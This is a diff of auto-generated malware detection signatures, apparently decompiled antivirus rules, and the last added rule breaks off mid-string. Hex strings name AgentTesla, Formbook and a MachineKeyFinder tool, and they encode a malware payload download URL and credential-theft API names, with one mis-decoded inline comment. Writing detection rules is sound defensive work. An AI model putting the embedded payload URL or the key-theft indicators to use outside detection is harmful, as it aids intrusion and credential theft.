+229803,7 @@ rule _InfrastructureShared_17934{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2560+(#a_13_3 & 1)*3338) >=4 } -rule _InfrastructureShared_17935{ +rule _InfrastructureShared_19093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215655,7 +229813,7 @@ rule _InfrastructureShared_17935{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_17936{ +rule _InfrastructureShared_19094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -215668,7 +229826,7 @@ rule _InfrastructureShared_17936{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_4 & 1)*109+(#a_44_5 & 1)*28737) >=7 } -rule _InfrastructureShared_17937{ +rule _InfrastructureShared_19095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -215683,7 +229841,7 @@ rule _InfrastructureShared_17937{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*306+(#a_00_2 & 1)*51+(#a_49_3 & 1)*24421+(#a_00_5 & 1)*110+(#a_00_6 & 1)*120) >=7 } -rule _InfrastructureShared_17938{ +rule _InfrastructureShared_19096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -215698,7 +229856,7 @@ rule _InfrastructureShared_17938{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_00_7 & 1)*1) >=8 } -rule _InfrastructureShared_17939{ +rule _InfrastructureShared_19097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -215716,7 +229874,7 @@ rule _InfrastructureShared_17939{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29554+(#a_5c_2 & 1)*25964+(#a_00_3 & 1)*10+(#a_3a_4 & 1)*24938+(#a_43_5 & 1)*29559+(#a_2f_6 & 1)*-28632+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1) >=9 } -rule _InfrastructureShared_17940{ +rule _InfrastructureShared_19098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215735,7 +229893,7 @@ rule _InfrastructureShared_17940{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*29793+(#a_90_2 & 1)*12034+(#a_6e_3 & 1)*14906+(#a_00_4 & 1)*16724+(#a_21_5 & 1)*12849+(#a_64_6 & 1)*30305+(#a_00_7 & 1)*29541+(#a_63_8 & 1)*385+(#a_6c_9 & 1)*27493) >=10 } -rule _InfrastructureShared_17941{ +rule _InfrastructureShared_19099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -215753,7 +229911,7 @@ rule _InfrastructureShared_17941{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*27489+(#a_6e_2 & 1)*26478+(#a_6e_3 & 1)*25710+(#a_61_4 & 1)*29541+(#a_72_6 & 1)*384+(#a_01_7 & 1)*28521+(#a_23_8 & 1)*4+(#a_01_9 & 1)*10) >=10 } -rule _InfrastructureShared_17942{ +rule _InfrastructureShared_19100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -215770,7 +229928,7 @@ rule _InfrastructureShared_17942{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*18222+(#a_73_2 & 1)*30063+(#a_31_3 & 1)*12334+(#a_00_5 & 1)*91+(#a_00_7 & 1)*111+(#a_00_9 & 1)*121+(#a_00_10 & 1)*103) >=11 } -rule _InfrastructureShared_17943{ +rule _InfrastructureShared_19101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -215782,7 +229940,7 @@ rule _InfrastructureShared_17943{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*109) >=40 } -rule _InfrastructureShared_17944{ +rule _InfrastructureShared_19102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -215800,7 +229958,7 @@ rule _InfrastructureShared_17944{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3328+(#a_68_2 & 1)*28448+(#a_52_3 & 1)*20550+(#a_91_4 & 1)*1024+(#a_9c_5 & 1)*24832+(#a_36_6 & 1)*14645+(#a_6e_7 & 1)*26414+(#a_90_8 & 1)*3051) >=1 } -rule _InfrastructureShared_17945{ +rule _InfrastructureShared_19103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -215813,7 +229971,7 @@ rule _InfrastructureShared_17945{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*24838+(#a_00_2 & 1)*-29440+(#a_20_4 & 1)*1546) >=2 } -rule _InfrastructureShared_17946{ +rule _InfrastructureShared_19104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -215825,7 +229983,7 @@ rule _InfrastructureShared_17946{ ((#a_54_0 & 1)*18467+(#a_ec_1 & 1)*-29700+(#a_8b_2 & 1)*-1) >=3 } -rule _InfrastructureShared_17947{ +rule _InfrastructureShared_19105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -215839,7 +229997,7 @@ rule _InfrastructureShared_17947{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28783+(#a_00_3 & 1)*37+(#a_00_4 & 1)*-12149+(#a_3c_5 & 1)*-5887) >=3 } -rule _InfrastructureShared_17948{ +rule _InfrastructureShared_19106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -215852,7 +230010,7 @@ rule _InfrastructureShared_17948{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*29285+(#a_00_3 & 1)*67+(#a_00_5 & 1)*101) >=3 } -rule _InfrastructureShared_17949{ +rule _InfrastructureShared_19107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -215868,7 +230026,7 @@ rule _InfrastructureShared_17949{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*9284+(#a_90_2 & 1)*9220+(#a_42_3 & 1)*21076+(#a_62_4 & 1)*28530+(#a_65_5 & 1)*25960+(#a_63_6 & 1)*20525) >=3 } -rule _InfrastructureShared_17950{ +rule _InfrastructureShared_19108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -215886,7 +230044,7 @@ rule _InfrastructureShared_17950{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_6e_2 & 1)*25965+(#a_41_3 & 1)*7424+(#a_41_4 & 1)*25954+(#a_78_5 & 1)*11877+(#a_4d_6 & 1)*29543+(#a_90_7 & 1)*-32560+(#a_07_8 & 1)*-29439) >=3 } -rule _InfrastructureShared_17951{ +rule _InfrastructureShared_19109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215899,7 +230057,7 @@ rule _InfrastructureShared_17951{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*29954+(#a_01_2 & 1)*9284+(#a_09_3 & 1)*31277) >=4 } -rule _InfrastructureShared_17952{ +rule _InfrastructureShared_19110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215911,7 +230069,7 @@ rule _InfrastructureShared_17952{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_00_3 & 1)*110) >=4 } -rule _InfrastructureShared_17953{ +rule _InfrastructureShared_19111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -215922,7 +230080,7 @@ rule _InfrastructureShared_17953{ ((#a_54_0 & 1)*18467+(#a_0a_2 & 1)*23817) >=4 } -rule _InfrastructureShared_17954{ +rule _InfrastructureShared_19112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -215934,7 +230092,7 @@ rule _InfrastructureShared_17954{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0+(#a_69_2 & 1)*26988) >=5 } -rule _InfrastructureShared_17955{ +rule _InfrastructureShared_19113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215948,7 +230106,7 @@ rule _InfrastructureShared_17955{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*69+(#a_2d_2 & 1)*2305+(#a_6f_3 & 1)*27713+(#a_65_4 & 1)*11886) >=5 } -rule _InfrastructureShared_17956{ +rule _InfrastructureShared_19114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215961,7 +230119,7 @@ rule _InfrastructureShared_17956{ ((#a_6c_0 & 1)*16675+(#a_53_1 & 1)*28271+(#a_00_3 & 1)*116+(#a_00_4 & 1)*114) >=5 } -rule _InfrastructureShared_17957{ +rule _InfrastructureShared_19115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -215975,7 +230133,7 @@ rule _InfrastructureShared_17957{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_17958{ +rule _InfrastructureShared_19116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -215990,7 +230148,7 @@ rule _InfrastructureShared_17958{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29800+(#a_5c_2 & 1)*29281+(#a_46_3 & 1)*12355+(#a_73_4 & 1)*26469+(#a_73_5 & 1)*26469) >=6 } -rule _InfrastructureShared_17959{ +rule _InfrastructureShared_19117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -216007,7 +230165,7 @@ rule _InfrastructureShared_17959{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29811+(#a_65_2 & 1)*25924+(#a_65_3 & 1)*11842+(#a_76_4 & 1)*29282+(#a_6e_5 & 1)*28021+(#a_62_6 & 1)*28469+(#a_65_7 & 1)*12857) >=8 } -rule _InfrastructureShared_17960{ +rule _InfrastructureShared_19118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0e 00 21 " @@ -216020,17 +230178,17 @@ rule _InfrastructureShared_17960{ $a_00_5 = {21 } //25185 ! $a_37_6 = {34 62 61 38 36 34 38 37 36 31 34 35 34 34 61 66 63 38 32 37 38 37 39 66 35 39 62 62 31 63 01 00 21 81 01 63 30 31 37 30 34 66 65 65 65 33 63 36 35 63 36 36 35 39 37 62 32 33 65 33 63 32 66 33 34 61 37 63 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 10 81 01 46 72 6f 6d 42 61 73 } //385 $a_53_7 = {72 69 6e 67 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 42 6c 6f 63 6b } //13925 - $a_79_8 = {00 78 47 01 00 0d 00 0d 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 43 21 4d 54 42 00 02 00 55 80 01 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 32 2e 67 6f 66 69 6c 65 2e 69 6f 2f 64 6f 77 6e 6c 6f 61 64 2f 34 65 65 65 39 63 32 36 2d 63 62 31 65 2d 34 33 39 66 2d 38 34 34 64 2d } //28483 - $a_36_9 = {39 62 65 30 63 36 36 2f 44 74 73 79 7a 75 6c 6c 65 74 2e 64 6c 6c 02 00 30 80 01 41 77 6e 65 66 6a 72 76 66 67 73 62 64 79 74 71 77 2e 50 72 6f 70 65 72 74 69 65 73 } //25905 - $a_73_10 = {75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 80 01 67 65 74 5f 55 54 46 38 01 00 09 80 01 47 65 74 53 74 72 69 6e 67 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 } //21038 - $a_01_11 = {00 08 80 01 47 65 74 54 79 70 65 73 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 80 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 00 0b 00 78 47 01 00 0f 00 0f 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 36 32 21 4d 54 42 00 01 } //28265 - $a_01_12 = {4c 54 69 59 74 43 41 62 53 4b 55 01 00 0b 81 01 4f 66 4c 6d 4e 34 66 63 53 57 42 01 00 0a 81 01 39 4a 57 30 4b 55 6b 69 50 67 01 00 0b 81 01 45 71 4d 45 47 34 54 72 65 41 75 01 00 08 81 01 42 38 76 4d 64 6f 70 5a 01 00 09 81 01 59 35 50 4b 37 55 77 52 57 01 00 0d 81 01 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 01 00 12 81 01 47 65 74 43 6f 6e 73 6f 6c 65 4f 75 74 70 75 74 43 50 01 00 13 } //2816 - $a_69_13 = {65 43 68 61 72 54 6f 4d 75 6c 74 69 42 79 74 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0c 81 01 44 4c 4f 77 33 4f 4f 77 33 4e 4f 77 01 00 07 81 01 48 76 44 65 63 6c 59 01 00 17 81 01 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 } //385 + $a_79_8 = {00 78 47 01 00 0c 00 0c 00 0c 00 21 23 53 4c 46 3a 4d 53 49 4c 2f 4d 61 63 68 69 6e 65 4b 65 79 46 69 6e 64 65 72 2e 41 00 01 00 28 00 47 00 65 00 74 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 43 00 6f 00 6e 00 66 00 69 00 67 00 01 00 16 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 65 00 62 00 2c 00 01 } //28483 砀Ňఀఀఀ℀匣䙌䴺䥓⽌慍档湩䭥祥楆摮牥䄮Ā⠀䜀攀琀䄀瀀瀀氀椀挀愀琀椀漀渀䌀漀渀昀椀最Āᘀ匀礀猀琀攀洀⸀圀攀戀ⰀĀ + $a_53_9 = {73 } //6400 s + $a_2e_10 = {65 62 2e 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 00 01 00 12 01 4d 61 63 68 69 6e 65 4b 65 79 53 65 63 74 69 6f 6e 00 01 00 0d 01 41 73 73 65 6d 62 6c 79 00 4c 6f 61 64 01 00 07 01 49 6e 76 6f 6b 65 00 01 00 12 01 67 65 74 5f 56 61 6c 69 64 61 74 69 6f 6e 4b 65 79 00 01 00 0f 01 67 65 74 5f 56 61 6c 69 64 61 74 69 6f 6e 00 01 } //25972 + $a_67_11 = {74 } //4608 t + $a_63_12 = {79 70 74 69 6f 6e 4b 65 79 00 01 00 0f 01 67 65 74 5f 44 65 63 72 79 70 74 69 6f 6e 00 01 00 1c 01 4d 61 63 68 69 6e 65 4b 65 79 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 6f 64 65 00 01 00 16 01 67 65 74 5f 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 6f 64 65 00 00 00 78 47 01 00 0d 00 0d 00 0b 00 21 23 } //17503 + $a_52_13 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 43 21 4d 54 42 00 02 00 55 80 01 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 32 2e 67 6f 66 69 6c 65 2e 69 6f 2f 64 6f 77 6e 6c 6f 61 64 2f 34 65 65 65 39 63 32 36 2d 63 62 31 65 2d } //21320 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27764+(#a_6e_2 & 1)*28021+(#a_62_3 & 1)*28469+(#a_65_4 & 1)*12857+(#a_00_5 & 1)*25185+(#a_37_6 & 1)*385+(#a_53_7 & 1)*13925+(#a_79_8 & 1)*28483+(#a_36_9 & 1)*25905+(#a_73_10 & 1)*21038+(#a_01_11 & 1)*28265+(#a_01_12 & 1)*2816+(#a_69_13 & 1)*385) >=8 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27764+(#a_6e_2 & 1)*28021+(#a_62_3 & 1)*28469+(#a_65_4 & 1)*12857+(#a_00_5 & 1)*25185+(#a_37_6 & 1)*385+(#a_53_7 & 1)*13925+(#a_79_8 & 1)*28483+(#a_53_9 & 1)*6400+(#a_2e_10 & 1)*25972+(#a_67_11 & 1)*4608+(#a_63_12 & 1)*17503+(#a_52_13 & 1)*21320) >=8 } -rule _InfrastructureShared_17961{ +rule _InfrastructureShared_19119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -216038,17 +230196,38 @@ rule _InfrastructureShared_17961{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 41 4d 4f 32 21 4d 54 42 00 01 00 21 81 01 63 36 34 66 36 36 34 33 35 31 62 37 61 64 36 30 31 30 66 63 32 62 35 35 38 32 62 64 36 65 39 61 39 01 00 21 81 01 63 62 38 66 33 33 35 30 64 } //18467 $a_36_1 = {35 36 64 38 63 30 31 63 32 65 63 38 66 35 64 64 62 37 61 01 00 21 81 01 63 34 63 65 64 66 64 31 31 64 35 64 34 66 64 65 39 65 38 34 61 32 36 39 63 33 } //14689 $a_33_2 = {61 62 01 00 21 81 01 63 37 62 34 62 61 38 36 34 38 37 36 31 34 35 34 34 61 66 63 38 32 37 38 37 39 66 35 39 62 62 31 63 01 00 21 81 01 63 30 31 37 30 34 66 65 65 65 33 63 36 35 63 36 36 35 39 37 62 32 33 65 33 63 32 66 33 34 61 37 63 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 } //25185 - $a_01_3 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 47 01 00 0d 00 0d 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 43 21 4d 54 42 00 02 00 55 80 01 68 74 74 70 73 3a } //4096 - $a_74_4 = {72 65 32 2e 67 6f 66 69 6c 65 2e 69 6f 2f 64 6f 77 6e 6c 6f 61 64 2f 34 65 65 65 39 63 32 36 2d 63 62 31 65 2d 34 33 39 66 2d 38 34 34 64 2d 31 65 37 36 32 39 62 65 30 63 36 36 2f 44 74 73 79 7a 75 6c 6c 65 74 2e 64 6c 6c 02 00 30 80 01 41 77 6e 65 66 6a 72 76 66 67 73 62 64 79 74 71 77 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 } //12079 - $a_72_5 = {73 6f 75 72 63 65 73 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 80 01 67 65 74 5f 55 54 46 38 01 00 09 80 01 47 65 74 53 } //29541 - $a_6e_6 = {01 00 07 80 01 52 65 70 6c 61 63 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 80 01 47 65 74 54 79 70 65 73 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 80 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 00 0b 00 78 47 01 00 0f 00 0f 00 0f } //29300 - $a_41_7 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 36 32 21 4d } //8448 F:Trojan:Win32/AgentTesla.PREE162!M - $a_01_9 = {4c 54 69 59 74 43 41 62 53 4b 55 01 00 0b 81 01 4f 66 4c 6d 4e 34 66 63 53 57 42 01 00 0a 81 01 39 4a 57 30 4b 55 6b 69 50 67 01 00 0b 81 01 45 71 4d 45 47 34 54 72 65 41 75 01 00 08 81 01 42 38 76 4d 64 6f 70 5a 01 00 09 81 01 59 35 50 4b 37 55 77 52 57 01 00 0d 81 01 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 01 00 12 81 01 47 65 74 43 6f 6e 73 6f 6c 65 4f 75 74 70 75 74 43 50 01 00 13 } //2816 + $a_01_3 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 47 01 00 0c 00 0c 00 0c 00 21 23 53 4c 46 3a 4d 53 49 4c 2f 4d 61 63 68 69 6e 65 4b 65 79 46 69 6e 64 65 72 2e 41 00 01 00 28 00 47 00 65 00 74 00 41 00 70 00 70 00 6c 00 69 } //4096 + $a_00_5 = {6f 00 6e 00 43 00 6f 00 6e 00 66 00 69 00 67 00 01 00 16 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 57 00 65 00 62 00 2c 00 01 00 19 01 53 79 73 74 65 6d 2e 57 65 62 2e 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 00 01 00 12 01 4d 61 63 68 69 6e 65 4b 65 79 53 65 63 74 69 6f 6e 00 01 00 0d 01 41 73 73 65 6d 62 6c 79 } //116 + $a_61_6 = {01 00 07 01 49 6e 76 6f 6b 65 00 01 00 12 01 67 65 74 5f 56 61 6c 69 64 61 74 69 6f 6e 4b 65 79 00 01 00 0f 01 67 65 74 5f 56 61 6c 69 64 61 74 69 6f 6e 00 01 00 12 01 67 65 74 5f 44 65 63 72 79 70 74 69 6f 6e 4b 65 79 00 01 00 0f 01 67 65 74 5f 44 65 63 72 79 70 74 69 6f 6e 00 01 00 1c 01 4d 61 63 68 69 6e 65 4b 65 79 43 6f 6d 70 } //19456 + $a_62_7 = {6c 69 74 79 4d 6f 64 65 00 01 00 16 01 67 65 74 5f 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 6f 64 65 00 00 00 78 47 01 00 0d 00 0d 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 43 21 4d 54 42 00 02 00 55 80 01 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 32 2e } //29793 + $a_69_8 = {65 2e 69 6f 2f 64 6f 77 6e 6c 6f 61 64 2f 34 65 65 65 39 63 32 36 2d 63 62 31 65 2d 34 33 39 66 2d 38 34 34 64 2d 31 65 37 36 32 39 62 65 30 63 36 36 2f 44 74 73 79 7a 75 6c 6c 65 74 2e 64 6c 6c 02 00 30 80 01 41 77 6e 65 66 6a 72 76 66 67 73 62 64 79 74 71 77 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 } //28519 + $a_63_9 = {73 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 80 01 67 65 74 5f 55 54 46 38 01 00 09 80 01 47 65 74 53 74 72 69 6e 67 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 80 01 47 65 74 54 79 70 65 73 01 } //30063 condition: - ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*14689+(#a_33_2 & 1)*25185+(#a_01_3 & 1)*4096+(#a_74_4 & 1)*12079+(#a_72_5 & 1)*29541+(#a_6e_6 & 1)*29300+(#a_41_7 & 1)*8448+(#a_01_9 & 1)*2816) >=10 + ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*14689+(#a_33_2 & 1)*25185+(#a_01_3 & 1)*4096+(#a_00_5 & 1)*116+(#a_61_6 & 1)*19456+(#a_62_7 & 1)*29793+(#a_69_8 & 1)*28519+(#a_63_9 & 1)*30063) >=10 } -rule _InfrastructureShared_17962{ +rule _InfrastructureShared_19120{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " + + strings : + $a_46_0 = {4d 53 49 4c 2f 4d 61 63 68 69 6e 65 4b 65 79 46 69 6e 64 65 72 2e 41 00 01 00 28 00 47 00 65 00 74 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 43 00 6f 00 6e 00 66 00 69 00 67 00 01 00 16 00 53 00 79 00 } //21283 + $a_00_1 = {65 00 6d 00 2e 00 57 00 65 00 62 00 2c 00 01 00 19 01 53 79 73 74 65 6d 2e 57 65 62 2e 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 00 01 00 12 01 4d 61 63 68 69 6e 65 4b 65 79 53 65 63 74 69 6f 6e 00 01 00 0d 01 41 73 73 65 6d 62 6c 79 00 4c 6f 61 64 01 00 07 01 49 6e 76 6f 6b 65 00 01 00 12 01 67 65 74 5f 56 61 6c 69 64 61 74 69 6f 6e 4b 65 79 00 01 } //115 + $a_67_2 = {74 } //3840 t + $a_6c_3 = {64 61 74 69 6f 6e 00 01 00 12 01 67 65 74 5f 44 65 63 72 79 70 74 69 6f 6e 4b 65 79 00 01 00 0f 01 67 65 74 5f 44 65 63 72 79 70 74 69 6f 6e 00 01 00 1c 01 4d 61 63 68 69 6e 65 4b 65 79 43 6f 6d 70 61 74 69 62 69 6c 69 74 79 4d 6f 64 65 00 01 00 16 01 67 65 74 5f 43 6f 6d 70 61 74 69 62 69 } //22111 + $a_79_4 = {6f 64 65 00 00 00 78 47 01 00 0d 00 0d 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 43 21 4d 54 42 00 02 00 55 80 01 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 32 2e 67 6f 66 69 6c 65 2e 69 6f 2f 64 6f 77 6e 6c 6f 61 64 2f 34 65 65 65 39 63 32 36 2d 63 62 31 65 2d 34 33 39 66 2d 38 34 34 64 } //26988 + $a_37_5 = {32 39 62 65 30 63 36 36 2f 44 74 73 79 7a 75 6c 6c 65 74 2e 64 6c 6c 02 00 30 80 01 41 77 6e 65 66 6a 72 76 66 67 73 62 64 79 74 71 77 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 08 80 01 67 65 74 } //12589 + $a_46_6 = {01 00 09 80 01 47 65 74 53 74 72 69 6e 67 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 07 80 01 43 6f 6e 76 65 72 74 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 08 80 01 47 65 74 54 79 70 65 73 01 00 0c 80 01 49 6e 76 6f 6b 65 4d } //21855 + $a_65_7 = {01 00 0c 80 01 42 69 6e 64 69 6e 67 46 6c 61 67 73 00 00 0b 00 78 47 01 00 0f 00 0f 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 31 36 32 21 4d 54 42 00 01 00 0b 81 01 4c 54 69 59 74 43 41 62 53 4b 55 01 00 0b 81 01 4f 66 4c 6d } //28005 + $a_63_8 = {57 42 01 00 0a 81 01 39 4a 57 30 4b 55 6b 69 50 67 01 00 0b 81 01 45 71 4d 45 47 34 54 72 65 41 75 01 00 08 81 01 42 38 76 4d 64 6f 70 5a 01 00 09 81 01 59 35 50 4b 37 55 77 52 57 01 00 0d 81 01 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 01 00 12 81 01 47 65 74 43 6f 6e 73 6f 6c 65 4f 75 74 70 75 74 43 50 01 } //13390 + $a_01_9 = {57 69 64 65 43 68 61 72 54 6f 4d 75 6c 74 69 42 79 74 65 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0c 81 01 44 4c 4f 77 33 4f 4f 77 33 4e 4f 77 01 00 